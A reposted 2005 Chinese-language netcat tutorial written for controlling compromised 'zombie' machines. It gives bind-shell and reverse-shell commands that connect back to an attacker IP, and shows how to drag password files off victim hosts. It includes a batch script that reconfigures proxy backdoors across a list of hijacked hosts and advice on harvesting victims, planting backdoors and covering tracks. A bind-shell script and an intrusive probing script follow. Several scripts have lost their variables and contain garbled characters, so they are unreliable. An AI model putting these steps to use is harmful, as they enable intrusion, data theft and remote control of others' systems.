文章出處:不詳
文章性質:轉載
閱讀次數:270
發佈日期:2005-12-19
作者:蔡益浩 來源:www.caiyihao.com
文章結構:
0. 寫在前面的話
1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
2. Netcat 1.10 for NT 幫助信息
3. Netcat 1.10 常用的命令格式
4. 管理肉雞,更改肉雞設置
5. 下載連接
6. 後記
########################################
0. 寫在前面的話
########################################
最近工作比較空閒,老是想著怎麼自動telnet肉雞,自動執行命令。來管理自己的肉雞。自己寫一個程序。功底是不夠的,所以只有看了看nc的幫助信息,雖然只看了個半懂,但是借助於金山詞霸2002版本, 還是明白了一點東西.
我覺的有必要再總結一下.反正主要是滿足我自己的需要.
########################################
1. Netcat 1.10 for NT - nc11nt.zip
########################################
Basic Features
* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections
Some of the potential uses of netcat:
Script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with
Netcat + Encryption = Cryptcat
對比win2000微軟的telnet.exe和微軟的tlntsvr.exe服務,連接的時候就可以看出來了.1.1 NC.EXE是一個非標準的telnet客戶端程序,1.2 還有一個putty.exe客戶端程序,提供四種連接模式
-raw -telnet -rlogin -ssh.
########################################
2. Netcat 1.10 for NT 幫助信息
########################################
C:\WINDOWS\Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (後台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本幫助信息)
-i secs delay interval for lines sent, ports scanned (延遲時間)
-l listen mode, for inbound connects (監聽模式,等待連接)
-L listen harder, re-listen on socket close (連接關閉後,仍然繼續監聽)
-n numeric-only IP addresses, no DNS (ip數字模式,非dns解析)
-o file hex dump of traffic (十六進制模式輸出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (隨機本地遠程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (掃瞄模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
########################################
3. Netcat 1.10 常用的命令格式
########################################
下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open
3.2.掃瞄器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃瞄會留下大量的痕跡,系統管理員會額外小心。
3.3. 後門
victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連接victim_IP,然後得到一個shell。
3.4.反向連接
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.
//或者wollf的反向連接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP),這樣就可以保證nc.exe優先於NETBIOS。
3.5.傳送文件:
3.5.1 attacker machine <-- victim machine //從肉雞拖密碼文件回來.
nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell執行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe裡面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
3.5.2 attacker machine --> victim machine //上傳命令文件到肉雞
nc -vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell執行
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.
結論: 可以傳輸ascii,bin文件.可以傳輸程序文件.
問題:連接某個ip後,傳送完成後,需要發送Ctrl+C退出nc.exe .或者只有再次連接使用pskill.exe 殺掉進答漸y柄了?
3.6 端口數據抓包.
nc -vv -w 2 -o test.txt xfocus.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自動批處理。 ★★★★★我要重點推薦的東西就是這個.
nc victim_ip port < path\file.cmd /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < path\file.cmd /*victim machine*/ 顯示執行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________
########################################
4. 管理肉雞,更改肉雞設置
########################################
4.1 比如要統一更改肉雞上面的代理端口.snake.exe 修改為11111 服務名稱"sksockserver",使用winshell後門. 端口1234 密碼password
命令格式就是:
modi.bat youip.txt
___________modi.bat____________________________
@if "%1"=="" echo Error: no ip.txt &&goto END
:start
@echo password >a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%\system32\ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END
___________modi.bat__END_______________________
4.2
@echo off
color f0
:start
cls
C:\nc -vv -w 3 -l -p 80>>80.txt
goto start
把防火牆關掉以後運行這個批處理,會監聽到許多探測U漏洞的信息,大多是三條一組--妮姆達病毒掃瞄你的。這樣就會得到肉雞的.雖然質量不高.但是也是一種便宜的辦法.
肉雞特徵:
1。unicode漏洞
2。guest密碼為空,administrators組用戶
3。其他漏洞
自己慢慢的爽去吧。不過,再次強調一句,不建議而且是不能破壞國內主機,上去以後將tftp.exe改名。然後用pskill幹掉mmc.exe進程,之後是殺毒。做好後門以後,將guest帳號停用,以對付傻瓜掃瞄器
########################################
5. 下載連接
########################################
http://www.coolersky.com/Download/Hacker/Back-door/nc.rar
########################################
6. 補充
########################################
以下為NetCat的Unix版本使用方法(轉載):
http://www.xfocus.net/articles/200103/88.html
--------------------------------------
nc使用技巧
by quack
http://www.xfocus.org ;安全焦點
nc這個小玩意兒應該大家耳熟能詳,也用了N年了吧……這裡不多講廢話,結合一些script說說它的使用技巧。
(文中所舉的script都來自於nc110.tgz的文件包)
一、基本使用:
Quack# nc -h
[v1.10]
想要連接到某處: nc [-options] hostname port[s] [ports] ...
綁定端口等待連接: nc -l -p port [-options] [hostname] [port]
參數:
-e prog 程序重定向,一旦連接,就執行 [危險!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i secs 延時的間隔
-l 監聽模式,用於入站連接
-n 指定數字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地端口號
-r 任意指定本地及遠程端口
-s addr 本地源地址
-u UDP模式
-v 詳細輸出——用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉——用於掃瞄時
其中端口號可以指定一個或者用lo-hi式的指定範圍。
二、用於傳輸文件——ncp
#! /bin/sh
## 類似於rcp,但是是用netcat在高端口做的
## 在接收文件的機器上做"ncp targetfile"
## 在發送文件的機器上做"ncp sourcefile receivinghost"
## 如果調用了 "nzp" ,會將傳輸文件壓縮
## 這裡定義你想使用的端口,可以自由選擇
MYPORT=23456
## 如果nc沒有在系統路徑中的話,要把下面一行註釋去掉,加以修改
# PATH=$:$ ; export PATH
## 下面這幾行檢查參數輸入情況:
test "" && echo "too many args" && exit 1
test ! "" && echo "no args?" && exit 1
me=`echo | sed 's+.*/++'`
test "$me" = "nzp" && echo '[compressed mode]'
# if second arg, it's a host to send an [extant] file to.
if test "" ; then
test ! -f "" && echo "can't find " && exit 1
if test "$me" = "nzp" ; then
compress -c < "" | nc -v -w 2 $MYPORT && exit 0
else
nc -v -w 2 $MYPORT < "" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi
# 是否在接收文件機器當前目錄有同名文件
if test -f "" ; then
echo -n "Overwrite ? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if you want.
if test "$me" = "nzp" ; then
# 注意這裡nc的用法,結合了重定向符號和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "" && exit 0
fi
echo "transfer FAILED!"
# clean up, since even if the transfer failed, is already trashed
rm -f ""
exit 1
這樣的話,我只要在A機器上先 QuackA# ncp ../abcd
listening on 然後在另一台機器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A機上出現
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
#
查看一下,文件傳輸完畢。
三、用於綁定端口——bsh
首先要清楚,如果你編譯netcat時僅用如make freebsd之類的命令來編譯的話,這個工具是無法利用的——要define一個GAPING_SECURITY_HOLE它才會提供-e選項。
#! /bin/sh
## 一個利用nc的綁定shell並且帶有密碼保護的腳本
## 帶有一個參數,即端口號
NC=nc
case "" in
?* )
LPN=""
export LPN
sleep 1
#注意這裡nc的用法,參數-l是lister,-e是執行重定向
echo "-l -p $LPN -e " ; $NC -l -p $LPN -e > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac
# here we play inetd
echo "-l -p $LPN -e " ; $NC -l -p $LPN -e > /dev/null 2>&1 &
while read qq ; do
case "$qq" in
# 這裡就是弱密碼保護了,密碼是quack
quack )
cd /
exec csh -i
;;
esac
done
要看看它是怎麼使用的麼?
quack# ./bsh 6666 <-------輸入,後面是程序輸出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666 <----------輸入
-l -p 6666 -e ./bsh
quack <----------輸入,密碼驗證
Warning: imported path contains relative components
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
Cracker#
四、 用於端口掃瞄——probe
在我們常見的一些端口掃瞄程序中,如Vetescan這類以shell script寫成的話,很多都需要系統中裝有netcat,原因何在呢?看看下面的script,你或許會明白一些。
#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place. Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!
# 該目錄裡有一些小工具
DDIR=../data
# 指定網關
GATE=192.157.69.11
# might conceivably wanna change this for different run styles
UCMD='nc -v -w 8'
test ! "" && echo Needs victim arg && exit 1
echo '' | $UCMD -w 9 -r "" 13 79 6667 2>&1
echo '0' | $UCMD "" 79 2>&1
# if LSRR was passed thru, should get refusal here:
# 要注意這裡的用法,其實nc的這些參數掌握好可以做很多事情
$UCMD -z -r -g $GATE "" 6473 2>&1
$UCMD -r -z "" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s `hostname` may be wrong for some multihomed machines
echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "" 7 19 2>&1
echo '113,10158' | $UCMD -p 10158 "" 113 2>&1
rservice bin bin | $UCMD -p 1019 "" shell 2>&1
echo QUIT | $UCMD -w 8 -r "" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo ''
echo PASV | $UCMD -r "" 21 2>&1
echo 'GET /' | $UCMD -w 10 "" 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什麼文件麼?;)
echo 'GET /robots.txt' | $UCMD -w 10 "" 80 2>&1
# now the big red lights go on
# 利用小工具rservice來嘗試,該工具可以在nc110.tgz的data目錄裡找到
rservice bin bin 9600/9600 | $UCMD -p 1020 "" login 2>&1
rservice root root | $UCMD -r "" exec 2>&1
echo 'BEGIN big udp -- everything may look "open" if packet-filtered'
data -g < $/nfs-0.d | $UCMD -i 1 -u "" 2049 | od -x 2>&1
# no wait-time, uses RTT hack
nc -v -z -u -r "" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo 'END big udp'
$UCMD -r -z "" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive, but what the fuck. Probe for portmap first
if nc -w 5 -z -u "" 111 ; then
showmount -e "" 2>&1 #象showmount和rpcinfo的使用,可能會被逮到;)
rpcinfo -p "" 2>&1
fi
exit 0
感覺也沒什麼好說的,腳本本身說明了一切。當然像上面的腳本只是示範性的例子,真正地使用時,這樣掃瞄會留下大量的痕跡,系統管理員會額外小心;)
多試試,多想想,可能你可以用它來做更多事情——你可以參見nc110.tgz裡script目錄下的那些腳本,從中獲得一些思路。